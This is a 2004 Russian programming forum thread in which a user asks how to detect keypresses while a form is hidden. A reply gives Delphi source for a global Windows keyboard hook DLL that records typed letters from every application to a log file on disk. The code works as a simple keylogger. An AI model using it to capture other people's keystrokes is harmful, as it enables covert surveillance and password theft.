Отправляет email-рассылки с помощью сервиса Sendsay

Программирование. Форум !!!

Отслеживание нажатия клавиши

Здравствуйте comp,
Подскажите, как отследить нажатие клавиши на клавиатуре если форма
скрыта?

Ответить   Tue, 6 Jan 2004 08:13:31 +0200 (#47367)

 

Ответы:

Доброго времени суток, keel.
Вы писали 6 января 2004 г., 9:13
на тему Отслеживание нажатия клавиши

------------------ОтветБыл уже в листе вопрос примерно такого содержания, я задавал.
Однако, так и не дождавшись ответа, пришлось искать самому...
Пример взят из программы Delphi World:

library Hook;
uses Windows, SysUtils;
const KF_UP_MY = $40000000;
var CurrentHook: HHook;
KeyArray: array[0..19] of char;
KeyArrayPtr: integer;
CurFile:text;
function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:
integer): longword; stdcall;
var
i:integer;
begin
if code< 0 then
begin
result:=CallNextHookEx(CurrentHook,code,wParam,lparam);
Exit;
end;
if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) then
begin
KeyArray[KeyArrayPtr]:=char(wParam);
KeyArrayPtr:=KeyArrayPtr+1;
if KeyArrayPtr> 19 then
begin
for i:=0 to 19 do
begin
Assignfile(CurFile,'d:\log.txt');
if fileexists('d:\log.txt')=false then rewrite(CurFile)
else Append(CurFile);
write(Curfile, KeyArray[i]);
closefile(curfile);
end;
KeyArrayPtr:=0;
end;
end;
CallNextHookEx(CurrentHook,code,wParam,lparam);
result:=0;
end;
procedure SetupGlobalKeyBoardHook;
begin
CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);
KeyArrayptr:=0;
end;
procedure unhook;
begin
UnhookWindowshookEx(CurrentHook);
end;

exports
SetupGlobalKeyBoardHook, UnHook;
begin
end.

Енто на Delphi, на сях думай сам.

Ответить   Денис Tue, 6 Jan 2004 10:27:23 +0300 (#47444)